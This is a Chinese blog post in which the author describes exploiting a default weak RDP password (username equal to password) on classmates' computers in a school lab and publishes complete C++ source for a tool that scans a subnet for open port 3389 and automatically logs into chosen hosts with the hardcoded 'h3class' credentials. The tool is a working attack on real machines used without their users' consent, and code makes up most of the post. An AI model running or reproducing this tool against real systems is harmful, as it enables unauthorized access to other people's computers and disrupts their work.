使用远程桌面连接的弱口令漏洞称霸学校机房

默认密码引发的弱口令漏洞

一次C语言课,闲的无聊,想找点乐子,于是抱着试一试的心态打开了远程桌面连接

输入旁边同学的IP地址和默认用户名,尝试连接

又抱着试一试的心态随便输入了一个和用户名相同的密码,嘿!还真连接上了

妥妥的弱口令漏洞啊!我想,要是编写一个自动化利用脚本不得称霸整个机房!

自动化利用

网段扫描

整个机房都在同一个网段中,扫描网段中所有3389端口开放的主机即可

携带一个专业的扫描器未免有点过于笨重,所以这里就自己实现一个简易的端口扫描器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static bool IsPortOpen(const char* ip, uint16_t port) {
WSADATA wsaData;
if (int res = WSAStartup(MAKEWORD(2, 2), &wsaData)) {
std::cerr << "WSAStartup failed:" << res << std::endl;
return false;
}

SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "socket failed:" << WSAGetLastError() << std::endl;
return false;
}

TIMEVAL timeout = { 0 };
timeout.tv_sec = 3;
timeout.tv_usec = 0;

unsigned long mode = 1;
if (int result = ioctlsocket(sock, FIONBIO, &mode) != NO_ERROR) {
std::cerr << "ioctlsocket failed:" << result << std::endl;
return false;
}

sockaddr_in serv_addr{};
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(ip);
serv_addr.sin_port = htons(port);

connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

mode = 0;
if (int result = ioctlsocket(sock, FIONBIO, &mode) != NO_ERROR) {
std::cerr << "ioctlsocket failed:" << result << std::endl;
return false;
}

fd_set Write, Err;
FD_ZERO(&Write);
FD_ZERO(&Err);
FD_SET(sock, &Write);
FD_SET(sock, &Err);

bool result = false;
select(0, NULL, &Write, &Err, &timeout);
if (FD_ISSET(sock, &Write)) {
result = true;
}

closesocket(sock);
WSACleanup();
return result;
}

RDP自动登录

每次登录都要手动输入账号和密码未免有点麻烦,可以编写程序对此过程自动化

mstsc命令行并不支持自动登录,不过可以通过创建凭据来间接实现自动登录

参考https://www.cnblogs.com/5201351/p/17535580.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static bool CreateRDPCredA(string ip, string username, wstring password) {
CREDENTIALA credential = { 0 };
credential.Type = CRED_TYPE_DOMAIN_PASSWORD;
ip = "TERMSRV/" + ip;
credential.TargetName = (LPSTR)ip.c_str();
credential.UserName = (LPSTR)username.c_str();

//按API文档所述,密码必须使用UTF-16编码,所以这里用wstring
credential.CredentialBlob = (LPBYTE)password.c_str();
credential.CredentialBlobSize = password.size() * 2;
credential.Persist = CRED_PERSIST_SESSION;

return CredWriteA(&credential, 0);
}

完整代码

包含用户界面,CIDR地址解析,多线程扫描,自动登录RDP的完整代码

用法示例:

扫描整个网段(scan):s 192.168.0.0/24

扫描单个主机(check):c 192.168.0.111

自动登录RDP(hack):h 192.168.0.111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
#include <iostream>
#include <vector>
#include <string>
#include <mutex>
#include <sstream>
#include <thread>
#include <windows.h>
#include <wincred.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Advapi32.lib")
#pragma warning(disable : 4996)
using namespace std;

HANDLE hConsole;
#define CONSOLE_COLOR_RED(statement) do {\
SetConsoleTextAttribute(hConsole, 4);\
statement;\
SetConsoleTextAttribute(hConsole, 7);\
} while (0)

#define CONSOLE_COLOR_GREEN(statement) do {\
SetConsoleTextAttribute(hConsole, 2);\
statement;\
SetConsoleTextAttribute(hConsole, 7);\
} while (0)

#define CONSOLE_COLOR_YELLOW(statement) do {\
SetConsoleTextAttribute(hConsole, 6);\
statement;\
SetConsoleTextAttribute(hConsole, 7);\
} while (0)

static vector<string> StringTokenizer(const string& s) {
vector<string> tokens;
string token;
bool inQuotes = false;

for (size_t i = 0; i < s.size(); ++i) {
char c = s[i];

// Toggle inQuotes flag when encountering double quotes
if (c == '"') {
inQuotes = !inQuotes;
continue; // Skip the quote character itself
}

// If inside quotes, add character to current token
if (inQuotes) {
token += c;
}
// If not inside quotes, check for delimiters (space or tab)
else if (c == ' ' || c == '\t') {
if (!token.empty()) {
tokens.push_back(token);
token.clear();
}
// Continue to skip multiple spaces/tabs
}
// Add character to the current token if it's not a delimiter
else {
token += c;
}
}

// Add the last token if any
if (!token.empty()) {
tokens.push_back(token);
}

return tokens;
}

class _CIDRParser
{
public:
bool SetCIDR(string cidr) {
size_t slash = cidr.find_last_of('/');
if (slash == std::string::npos) return false;

uint8_t mask = stoi(cidr.substr(slash + 1));
cidr = cidr.substr(0, slash);
if (mask > 32) return false;

uint8_t ip[4] = { 0 };
size_t start = 0, end = 0;
for (int i = 0; i < 4; ++i) {
end = cidr.find('.', start);
if (end == std::string::npos && i < 3) return false;

ip[i] = std::stoi(cidr.substr(start, end - start));
start = end + 1;
}

uint32_t startAddress = ((ip[0] << 24) | (ip[1] << 16) | (ip[2] << 8) | ip[3]) & (0xFFFFFFFF << (32 - mask));
_endAddress = startAddress | (0xFFFFFFFF >> mask);
_currentAddress = startAddress;
return true;
}

string NextSubAddress() {
lock_guard<mutex> lock(mtx);

string result = "";
if (_currentAddress <= _endAddress) {
ostringstream oss;
oss << ((_currentAddress >> 24) & 0xFF) << '.'
<< ((_currentAddress >> 16) & 0xFF) << '.'
<< ((_currentAddress >> 8) & 0xFF) << '.'
<< (_currentAddress & 0xFF);

_currentAddress++;

result = oss.str();
}

return result;
}

private:
mutable mutex mtx;
uint32_t _endAddress = 0;
uint32_t _currentAddress = 0;
}CIDRParser;

static bool IsPortOpen(const char* ip, uint16_t port) {
WSADATA wsaData;
if (int res = WSAStartup(MAKEWORD(2, 2), &wsaData)) {
std::cerr << "WSAStartup failed:" << res << std::endl;
return false;
}

SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "socket failed:" << WSAGetLastError() << std::endl;
return false;
}

TIMEVAL timeout = { 0 };
timeout.tv_sec = 3;
timeout.tv_usec = 0;

unsigned long mode = 1;
if (int result = ioctlsocket(sock, FIONBIO, &mode) != NO_ERROR) {
std::cerr << "ioctlsocket failed:" << result << std::endl;
return false;
}

sockaddr_in serv_addr{};
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(ip);
serv_addr.sin_port = htons(port);

connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

mode = 0;
if (int result = ioctlsocket(sock, FIONBIO, &mode) != NO_ERROR) {
std::cerr << "ioctlsocket failed:" << result << std::endl;
return false;
}

fd_set Write, Err;
FD_ZERO(&Write);
FD_ZERO(&Err);
FD_SET(sock, &Write);
FD_SET(sock, &Err);

bool result = false;
select(0, NULL, &Write, &Err, &timeout);
if (FD_ISSET(sock, &Write)) {
result = true;
}

closesocket(sock);
WSACleanup();
return result;
}

static void Scanner() {
string address = CIDRParser.NextSubAddress();
while (!address.empty()) {
if (IsPortOpen(address.c_str(), 3389)) {
printf("%s\n", address.c_str());
}

address = CIDRParser.NextSubAddress();
}
}

static bool CreateRDPCredA(string ip, string username, wstring password) {
CREDENTIALA credential = { 0 };
credential.Type = CRED_TYPE_DOMAIN_PASSWORD;
ip = "TERMSRV/" + ip;
credential.TargetName = (LPSTR)ip.c_str();
credential.UserName = (LPSTR)username.c_str();

//按API文档所述,密码必须使用UTF-16编码,所以这里用wstring
credential.CredentialBlob = (LPBYTE)password.c_str();
credential.CredentialBlobSize = password.size() * 2;
credential.Persist = CRED_PERSIST_SESSION;

return CredWriteA(&credential, 0);
}

int main() {
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitleA("fuck h3class");

while (1) {
printf("\n>");
string input;
getline(cin, input);

vector<string> cmd = StringTokenizer(input);
if (cmd.size() == 0)continue;
if (cmd[0] == "quit" || cmd[0] == "q") {
exit(0);
}
else if (cmd[0] == "scan" || cmd[0] == "s") {
if (cmd.size() < 2 || cmd.size() > 3) {
printf("输入不合法\nscan指令用法:scan CIDR地址 [线程数]");
continue;
}

uint32_t number_of_threads = 260;
if (cmd.size() == 3) {
number_of_threads = stoi(cmd[2]);
}

if (number_of_threads > 1000) {
printf("输入不合法\n线程数过大");
continue;
}

if (!CIDRParser.SetCIDR(cmd[1])) {
printf("输入不合法\n请输入正确的CIDR地址");
continue;
}

printf("开始扫描地址 %s 线程数 %d\n", cmd[1].c_str(), number_of_threads);

SetConsoleTextAttribute(hConsole, 2);

std::vector<std::thread> threads;
for (uint32_t i = 0; i < number_of_threads; ++i) {
threads.emplace_back(Scanner);
}

for (auto& t : threads) {
t.join();
}

SetConsoleTextAttribute(hConsole, 7);

printf("\n扫描完成");
}
else if (cmd[0] == "check" || cmd[0] == "c") {
if (cmd.size() != 2) {
printf("输入不合法\ncheck指令用法:check IP地址");
continue;
}

if (IsPortOpen(cmd[1].c_str(), 3389)) {
CONSOLE_COLOR_GREEN(printf("开启\n"));
}
else {
CONSOLE_COLOR_RED(printf("关闭\n"));
}
}
else if (cmd[0] == "hack" || cmd[0] == "h") {
if (cmd.size() != 2) {
printf("输入不合法\nhack指令用法:hack IP地址");
continue;
}

if (!CreateRDPCredA(cmd[1], "h3class", L"h3class")) {
CONSOLE_COLOR_RED(printf("无法创建凭据,请手动登录\n"));
}

string tmp = "start /b mstsc /v:" + cmd[1];
printf("%s\n", tmp.c_str());
system(tmp.c_str());
}
else {
printf("未知指令");
}
}

return 0;
}

提醒

远程桌面登录时对方会锁屏。和朋友玩玩就行了,千万不要破坏课堂秩序!


使用远程桌面连接的弱口令漏洞称霸学校机房
https://crackme.net/articles/h3class_rdp_exploit/
作者
Brassinolide
发布于
2024年11月1日
许可协议